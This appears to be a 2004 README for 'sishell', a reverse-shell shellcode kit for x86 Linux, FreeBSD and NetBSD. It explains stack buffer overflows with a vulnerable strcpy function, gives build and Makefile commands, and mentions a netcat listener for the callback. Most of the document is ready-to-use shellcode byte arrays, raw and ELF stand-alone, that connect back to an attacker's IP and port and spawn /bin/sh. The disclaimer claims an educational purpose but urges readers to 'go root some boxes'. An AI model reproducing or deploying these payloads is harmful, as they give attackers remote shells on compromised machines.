
                         ___       __          .__ ___
                   _____(___)_____|  |__   ____|  |   |\
                  /  ___/   /  ___/  |  \_/ __ \  |   | |
                  \___ \|   \___ \|   Y  \  ___/  |   |_|_
                 /____  >__/____  >___|  /\___  > |____  /\
                 \____\/ \_\____\/ \___\/ /\__\/      /\/ /
                       \/        \/     \/     |___  / /\/
                                                \__\/ /
                   ShadowInteger's Shellcode 0.1    \/


               $Revision: 1.9 $ $Date: 2004/03/29 23:43:00 $
                   Reviewed by Sabu <sabu@sentinix.org>

## DISCLAIMER

sishell was written for educational and practical purposes only -- *NOT* to
generate more "script-kiddie"-activity on the 'net. However what you do with
sishell is your business, not mine. I will certainly not attempt to stop
anyone from using sishell (for whatever activity), so go root some boxes
already!

## SYNOPSIS

sishell is a reverse (connecting) shellcode kit for Linux, FreeBSD and NetBSD.
Stand-alone executable shellcode is not yet supported for OpenBSD, I need to
do more research to get it to run. "scprocessor" won't execute the *BSD
non-null (real) shellcode, something about non-executable memory? Need to do a
lot more research around OpenBSD, any help is appreciated! I do run OpenBSD
(part of my LabNET), and I am starting to love it. The OpenBSD creators have
approached security "the right way".

## WHAT IS SHELLCODE?

Shellcode is a piece of machine-readable code, or script code that has just
one mission; to open up a command interpreter (shell) on the target system so
that an "attacker" can type in commands in the same fashion as a regular
authorized user, or system administrator of that system can (with a few
not-so-important exceptions though). However, in order to get remote access to
the shell, you're going to need some kind of networking support in your
shellcode too.

If the shellcode is to be used to exploit buffer overflows (e.g.) in binary,
machine-readable software, the shellcode is going to have to be
machine-readable (binary) and, to make things more complicated, it can't
contain any null bytes (0x00). Null (0) is a string delimiter that tells all C
string functions (and other implementations) that once found the function
should stop processing the string (thus, a null-terminated string). We don't
want an input function to stop processing our shellcode, since we want to
upload the entire shellcode into the vulnerable program and tell it to execute
it.

## SHORT ABOUT BUFFER OVERFLOWS

A buffer overflow, as the name suggests, is about filling a buffer until it
"flows over". A programming error to some, but we see this as a vulnerability
because if the buffer is stack-based (located on the stack, not in heap
memory) we can easily overwrite a function's (even main()'s) return address.
We inject our shellcode into the buffer, then overwrite what's after the
buffer with a return address that would direct program execution to our
shellcode.

The stack holds temporary data, data which is frequently "released" during
program execution. A buffer (in the term "buffer overflow") primarily refers
to a chunk of memory on the stack. The x86 assembly mnemonic "call" stores the
return address on the stack, it's this return address we're interested in.
Some C code...

    void my_function(char *input) {
        char buf[256];
        strcpy(buf, input);
        return;
    }

This is a vulnerable function, strcpy() doesn't check how long the *input is
but happily writes it to buf anyway. Let's convert it to assembly...

$ gcc -S -o vuln.s vuln.c

...but I prefer gdb output though...

Dump of assembler code for function my_function:
0x80483f0 <my_function>:        push   %ebp         // save stack frame pointer
0x80483f1 <my_function+1>:      mov    %esp,%ebp    // enter new stack frame
0x80483f3 <my_function+3>:      sub    $0x108,%esp  // reserve 264b on stack
0x80483f9 <my_function+9>:      add    $0xfffffff8,%esp // subs 8 = 256b (dumb)
0x80483fc <my_function+12>:     mov    0x8(%ebp),%eax   // input
0x80483ff <my_function+15>:     push   %eax
0x8048400 <my_function+16>:     lea    0xffffff00(%ebp),%eax
0x8048406 <my_function+22>:     push   %eax             // buf
0x8048407 <my_function+23>:     call   0x8048300 <strcpy>
0x804840c <my_function+28>:     add    $0x10,%esp       // give back strcpy mem
0x804840f <my_function+31>:     jmp    0x8048411 <my_function+33>
0x8048411 <my_function+33>:     leave       // leave strack frame
0x8048412 <my_function+34>:     ret         // return to address after call


                      Diagram (proportions are wrong)
                      -------------------------------

VMA offset (theoretical)
0 ------------>> program execution >>->------------------------------ 0xbfff...
            |    .text           |      .bss      |       stack             |
            |call my_function... |       and      |              [buffer]FR |
            |                    |      .data     |                         |
0 ---------EIP-----------------------------------------------<-<< stack <<--|
^           ^---> exec direction >               < stack fill direction <---^
|           |                                                               |
start     program                                                        start
of       entry point                                                       of
(virtual)                                                                stack
memory

F = stack frame pointer
R = return address

We want to overflow [buffer] and write our own 32-bit address into R, telling
the processor to jump into our shellcode instead. First we inject some 0x90
(NOP, no operation opcode, won't do anything), then we follow that with our
shellcode.

              buffer (buf)
            [ 0x90, 0x90, shellcode...] [FFFF] [RRRR]
                   ^       ^              ^       ^
                   |       |              |       |
                 good      |              fp      |
                enough     |                     return address
               address  shellcode
                         starts

After the shellcode has been injected, we inject our own return address.
Finding a generic return address is tricky, but might work for some programs.
The proper way to do it is to map different distro's versions of the program
and provide a list in your exploit. Brute forcing might be another method, and
may work for some programs, but for others the program/service could crash
causing a DoS instead of a shell.

            (fake addresses)
            01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E

            [ 0x90, 0x90, shellcode...] [0004] [0004] 0004 0004 0004 0004....
                   ^       ^        ^     ^       ^
                   |       |        |     |       |
                 good      |        |     fp      |
                enough     |     padding       return address
               address  shellcode
                         starts

We don't want "[0040] [0040]" we want "[0004] [0004]", so it's important that
we align correctly when we start writing the return address. We do that by
appending additional bytes after (or before) the shellcode making it 32-bit
aligned (even by four). The buffer set up by the C function is going to be
aligned.

## ABOUT SISHELL

The sishell kit allows you to create shellcodes for Linux, FreeBSD and NetBSD 
(OpenBSD support is minimal at the moment) on-the-fly. The kit will even
produce detailed example source code for you to implement in your exploit or
whatever.

sishell is a reverse shellcode, meaning that instead of binding to a port on
the target (compromised system) and listening for incoming connections it
will  connect back to a specific IP and port. When using the shellcode one
must listen for the incoming connection by using for example ("nc -l -p
port"). Once the connection is established, sishell will duplicate (dup2(2))
the socket file descriptor with stdin, stdout and stderr and execve(2)
/bin/sh, thus starting the shell and it's IO over the connected socket.

The shellcode source (sishell.asm) is written in x86 Intel syntax assembly and
can be assembled into either binary or object code by nasm, which you'll find
here -> http://nasm.sourceforge.net.

- To generate a Linux stand-alone shellcode (meaning, an executable elf) with
  example C source, do this:

$ nasm -f elf -DLINUX -Dstand_alone sishell.asm
$ ld -s -o sishell sishell.o
$ strip -R .comment -R .bss -R .data sishell
$ gcc -o scprocessor scprocessor.c
$ ./scprocessor -pOE sishell > example.c

- To generate *BSD real shellcode (not an executable elf), do this:
$ nasm -f bin -DBSD -o sishell sishell.asm
$ gcc -o scprocessor scprocessor.c
$ ./scprocessor -pE sishell > example.c

The accompanied Makefile will greatly simplify this process, just type this:

- To generate Linux stand-alone shellcode (an executable elf):
$ make linux-sa

- ...or, to generate FreeBSD stand-alone shellcode (an executable elf):
$ make freebsd-sa

- ...or NetBSD stand-alone shellcode:
$ make netbsd-sa

- ...or Linux shellcode (not an elf):
$ make linux

- ...or *BSD shellcode (not an elf):
$ make bsd


## XOR

XOR is an assembly mnemonic of a processor opcode for "exclusive or". In
assembly code it is most frequently used to zero a register, it is especially
useful in shellcode to eliminate null bytes. The IP address in sishell is
XOR'ed with 0xffffffff (by default). This means that the IP you give sishell
has to be encoded from the start. See the example source code produced by
"scprocessor" for detailed information.


## READY-TO-USE SHELLCODE

/* x86 Linux shellcode */
unsigned char shellcode[] = /* shadowinteger's sishell */
    "\xeb\x70\x5d\x6a\x06\x6a\x01\x6a\x02\x8d\x0c\x24\x31\xdb\xb3\x01"
    "\x31\xc0\xb0\x66\xcd\x80\x89\xc7\x83\xec\x08\x31\xc9\xc6\x04\x24"
    "\x02\x88\x4c\x24\x01\xb8\x80\xff\xff\xfe\x35\xff\xff\xff\xff\x66"
    "\xc7\x44\x24\x02\x7a\x69\x89\x44\x24\x04\x8d\x04\x24\x83\xec\x10"
    "\x89\x3c\x24\x89\x44\x24\x04\x31\xc0\xb0\x10\x89\x44\x24\x08\x31"
    "\xc0\xb0\x66\x31\xdb\xb3\x03\x8d\x0c\x24\xcd\x80\x85\xc0\x78\x38"
    "\x31\xc9\x31\xc0\xb0\x3f\x89\xfb\xcd\x80\x41\x80\xf9\x02\x77\x04"
    "\xeb\xf0\xeb\x2b\x83\xec\x0c\x8d\x44\x24\x08\x89\x04\x24\x31\xdb"
    "\x89\x5c\x24\x04\x89\x5c\x24\x08\x88\x5d\x07\x89\xeb\x8d\x0c\x24"
    "\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\x31\xc0\x89\xc3\x40\xcd\x80\xe8"
    "\x5e\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x24";
#define IP_OFFSET 38
#define PORT_OFFSET 52
#define XOR 0xffffffff   /* number to xor the ip address with */


/* x86 *BSD shellcode */
unsigned char shellcode[] = /* shadowinteger's sishell */
    "\xeb\x7f\x5d\x6a\x06\x6a\x01\x6a\x02\x31\xc0\xb0\x61\x50\xcd\x80"
    "\x89\xc7\x83\xec\x08\x31\xc9\xc6\x04\x24\x02\x88\x4c\x24\x01\xb8"
    "\x80\xff\xff\xfe\x35\xff\xff\xff\xff\x66\xc7\x44\x24\x02\x7a\x69"
    "\x89\x44\x24\x04\x8d\x04\x24\x6a\x10\x50\x57\x31\xc0\xb0\x62\x50"
    "\xcd\x80\x72\x35\x31\xc9\x51\x57\x31\xc0\xb0\x5a\x50\xcd\x80\x41"
    "\x80\xf9\x02\x76\xf1\x83\xec\x0c\x8d\x44\x24\x08\x89\x04\x24\x31"
    "\xdb\x89\x5c\x24\x04\x89\x5c\x24\x08\x8d\x0c\x24\x53\x51\x88\x45"
    "\x07\x55\x31\xc0\xb0\x3b\x50\xcd\x80\x31\xc0\x50\xfe\xc0\x50\xcd"
    "\x80\xe8\x7c\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x24";
#define IP_OFFSET 32
#define PORT_OFFSET 46
#define XOR 0xffffffff   /* number to xor the ip address with */


/* x86 Linux ELF stand-alone shellcode */

/* ascii-encoded octal, for script injection, e.g.:
 * printf "{shellcode}" > binary
 * echo -ne "{shellcode}" > binary
 * python -c "__import__(\"sys\").stdout.write(\"{shellcode}\")" > binary
 * perl -e "print \"{shellcode}\"" > binary */
unsigned char shellcode[] = /* shadowinteger's sishell */
    "\\177\\105\\114\\106\\001\\001\\001\\003"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\002\\000\\003\\000\\001\\000\\000\\000"
    "\\200\\200\\004\\010\\064\\000\\000\\000"
    "\\074\\001\\000\\000\\000\\000\\000\\000"
    "\\064\\000\\040\\000\\001\\000\\050\\000"
    "\\003\\000\\002\\000\\001\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\200\\004\\010"
    "\\000\\200\\004\\010\\052\\001\\000\\000"
    "\\052\\001\\000\\000\\005\\000\\000\\000"
    "\\000\\020\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\213\\004\\044\\100\\100\\215\\034\\204"
    "\\211\\335\\152\\006\\152\\001\\152\\002"
    "\\215\\014\\044\\061\\333\\263\\001\\061"
    "\\300\\260\\146\\315\\200\\211\\307\\203"
    "\\354\\010\\061\\311\\306\\004\\044\\002"
    "\\210\\114\\044\\001\\270\\200\\377\\377"
    "\\376\\065\\377\\377\\377\\377\\146\\307"
    "\\104\\044\\002\\172\\151\\211\\104\\044"
    "\\004\\215\\004\\044\\203\\354\\020\\211"
    "\\074\\044\\211\\104\\044\\004\\061\\300"
    "\\260\\020\\211\\104\\044\\010\\061\\300"
    "\\260\\146\\061\\333\\263\\003\\215\\014"
    "\\044\\315\\200\\205\\300\\170\\064\\061"
    "\\311\\061\\300\\260\\077\\211\\373\\315"
    "\\200\\101\\200\\371\\002\\166\\362\\203"
    "\\354\\014\\215\\104\\044\\010\\211\\004"
    "\\044\\061\\333\\211\\134\\044\\004\\211"
    "\\134\\044\\010\\273\\042\\201\\004\\010"
    "\\215\\014\\044\\211\\352\\061\\300\\260"
    "\\013\\315\\200\\061\\300\\211\\303\\100"
    "\\315\\200\\057\\142\\151\\156\\057\\163"
    "\\150\\000\\000\\056\\163\\150\\163\\164"
    "\\162\\164\\141\\142\\000\\056\\164\\145"
    "\\170\\164\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\013\\000\\000\\000"
    "\\001\\000\\000\\000\\006\\000\\000\\000"
    "\\200\\200\\004\\010\\200\\000\\000\\000"
    "\\252\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\020\\000\\000\\000"
    "\\000\\000\\000\\000\\001\\000\\000\\000"
    "\\003\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\052\\001\\000\\000"
    "\\021\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\001\\000\\000\\000"
    "\\000\\000\\000\\000";
#define IP_OFFSET 692
#define PORT_OFFSET 748
#define XOR 0xffffffff   /* number to xor the ip address with */


/* x86 FreeBSD ELF stand-alone shellcode */

/* ascii-encoded octal, for script injection, e.g.:
 * printf "{shellcode}" > binary
 * echo -ne "{shellcode}" > binary
 * python -c "__import__(\"sys\").stdout.write(\"{shellcode}\")" > binary
 * perl -e "print \"{shellcode}\"" > binary */
unsigned char shellcode[] = /* shadowinteger's sishell */
    "\\177\\105\\114\\106\\001\\001\\001\\011"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\002\\000\\003\\000\\001\\000\\000\\000"
    "\\200\\200\\004\\010\\064\\000\\000\\000"
    "\\044\\001\\000\\000\\000\\000\\000\\000"
    "\\064\\000\\040\\000\\001\\000\\050\\000"
    "\\003\\000\\002\\000\\001\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\200\\004\\010"
    "\\000\\200\\004\\010\\021\\001\\000\\000"
    "\\021\\001\\000\\000\\005\\000\\000\\000"
    "\\000\\020\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\213\\004\\044\\100\\100\\215\\034\\204"
    "\\211\\335\\152\\006\\152\\001\\152\\002"
    "\\061\\300\\260\\141\\120\\315\\200\\211"
    "\\307\\203\\354\\010\\061\\311\\306\\004"
    "\\044\\002\\210\\114\\044\\001\\270\\200"
    "\\377\\377\\376\\065\\377\\377\\377\\377"
    "\\146\\307\\104\\044\\002\\172\\151\\211"
    "\\104\\044\\004\\215\\004\\044\\152\\020"
    "\\120\\127\\061\\300\\260\\142\\120\\315"
    "\\200\\162\\066\\061\\311\\121\\127\\061"
    "\\300\\260\\132\\120\\315\\200\\101\\200"
    "\\371\\002\\166\\361\\203\\354\\014\\215"
    "\\104\\044\\010\\211\\004\\044\\061\\333"
    "\\211\\134\\044\\004\\211\\134\\044\\010"
    "\\215\\014\\044\\125\\121\\150\\011\\201"
    "\\004\\010\\061\\300\\260\\073\\120\\315"
    "\\200\\061\\300\\120\\376\\300\\120\\315"
    "\\200\\057\\142\\151\\156\\057\\163\\150"
    "\\000\\000\\056\\163\\150\\163\\164\\162"
    "\\164\\141\\142\\000\\056\\164\\145\\170"
    "\\164\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\013\\000\\000\\000"
    "\\001\\000\\000\\000\\006\\000\\000\\000"
    "\\200\\200\\004\\010\\200\\000\\000\\000"
    "\\221\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\020\\000\\000\\000"
    "\\000\\000\\000\\000\\001\\000\\000\\000"
    "\\003\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\021\\001\\000\\000"
    "\\021\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\001\\000\\000\\000"
    "\\000\\000\\000\\000";
#define IP_OFFSET 668
#define PORT_OFFSET 724
#define XOR 0xffffffff   /* number to xor the ip address with */


/* x86 NetBSD ELF stand-alone shellcode */

/* ascii-encoded octal, for script injection, e.g.:
 * printf "{shellcode}" > binary
 * echo -ne "{shellcode}" > binary
 * python -c "__import__(\"sys\").stdout.write(\"{shellcode}\")" > binary
 * perl -e "print \"{shellcode}\"" > binary */
unsigned char shellcode[] = /* shadowinteger's sishell */
    "\\177\\105\\114\\106\\001\\001\\001\\002"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\002\\000\\003\\000\\001\\000\\000\\000"
    "\\260\\200\\004\\010\\064\\000\\000\\000"
    "\\150\\001\\000\\000\\000\\000\\000\\000"
    "\\064\\000\\040\\000\\002\\000\\050\\000"
    "\\004\\000\\003\\000\\001\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\200\\004\\010"
    "\\000\\200\\004\\010\\101\\001\\000\\000"
    "\\101\\001\\000\\000\\005\\000\\000\\000"
    "\\000\\020\\000\\000\\004\\000\\000\\000"
    "\\224\\000\\000\\000\\224\\200\\004\\010"
    "\\224\\200\\004\\010\\030\\000\\000\\000"
    "\\030\\000\\000\\000\\004\\000\\000\\000"
    "\\001\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\007\\000\\000\\000"
    "\\004\\000\\000\\000\\001\\000\\000\\000"
    "\\116\\145\\164\\102\\123\\104\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\213\\004\\044\\100\\100\\215\\034\\204"
    "\\211\\335\\152\\006\\152\\001\\152\\002"
    "\\061\\300\\260\\141\\120\\315\\200\\211"
    "\\307\\203\\354\\010\\061\\311\\306\\004"
    "\\044\\002\\210\\114\\044\\001\\270\\200"
    "\\377\\377\\376\\065\\377\\377\\377\\377"
    "\\146\\307\\104\\044\\002\\172\\151\\211"
    "\\104\\044\\004\\215\\004\\044\\152\\020"
    "\\120\\127\\061\\300\\260\\142\\120\\315"
    "\\200\\162\\066\\061\\311\\121\\127\\061"
    "\\300\\260\\132\\120\\315\\200\\101\\200"
    "\\371\\002\\166\\361\\203\\354\\014\\215"
    "\\104\\044\\010\\211\\004\\044\\061\\333"
    "\\211\\134\\044\\004\\211\\134\\044\\010"
    "\\215\\014\\044\\125\\121\\150\\071\\201"
    "\\004\\010\\061\\300\\260\\073\\120\\315"
    "\\200\\061\\300\\120\\376\\300\\120\\315"
    "\\200\\057\\142\\151\\156\\057\\163\\150"
    "\\000\\000\\056\\163\\150\\163\\164\\162"
    "\\164\\141\\142\\000\\056\\164\\145\\170"
    "\\164\\000\\056\\156\\157\\164\\145\\056"
    "\\156\\145\\164\\142\\163\\144\\056\\151"
    "\\144\\145\\156\\164\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\013\\000\\000\\000\\001\\000\\000\\000"
    "\\006\\000\\000\\000\\260\\200\\004\\010"
    "\\260\\000\\000\\000\\221\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\020\\000\\000\\000\\000\\000\\000\\000"
    "\\021\\000\\000\\000\\007\\000\\000\\000"
    "\\002\\000\\000\\000\\224\\200\\004\\010"
    "\\224\\000\\000\\000\\030\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\001\\000\\000\\000\\000\\000\\000\\000"
    "\\001\\000\\000\\000\\003\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\101\\001\\000\\000\\044\\000\\000\\000"
    "\\000\\000\\000\\000\\000\\000\\000\\000"
    "\\001\\000\\000\\000\\000\\000\\000\\000";
#define IP_OFFSET 860
#define PORT_OFFSET 916
#define XOR 0xffffffff   /* number to xor the ip address with */


/* x86 OpenBSD ELF stand-alone shellcode */

Sorry, but I have not succeeded in creating an ELF stand-alone shellcode for
OpenBSD. I need to do more research, but workload does not permit me to take
the time and do it, I'll have to push it for the future. If anyone is
interested in helping out in this area, or if you have a solution, please send
an e-mail to shadowinteger@sentinix.org.

## WHO AM I?

My name is Michel Blomgren, I am the author of SENTINIX, a GNU/Linux
distribution designed for monitoring, intrusion detection, vulnerability
assessment, anti-spam and HPC clustering (openMosix) -- http://sentinix.org. I
work for Cycom AB, a Swedish information security consulting firm specializing
in vulnerability assessments, security testing and code auditing.

## ACKNOWLEDGMENTS

Sabu <sabu@sentinix.org>
safemode.org
linuxassembly.org


//Shadowinteger
$Date: 2004/03/29 23:43:00 $

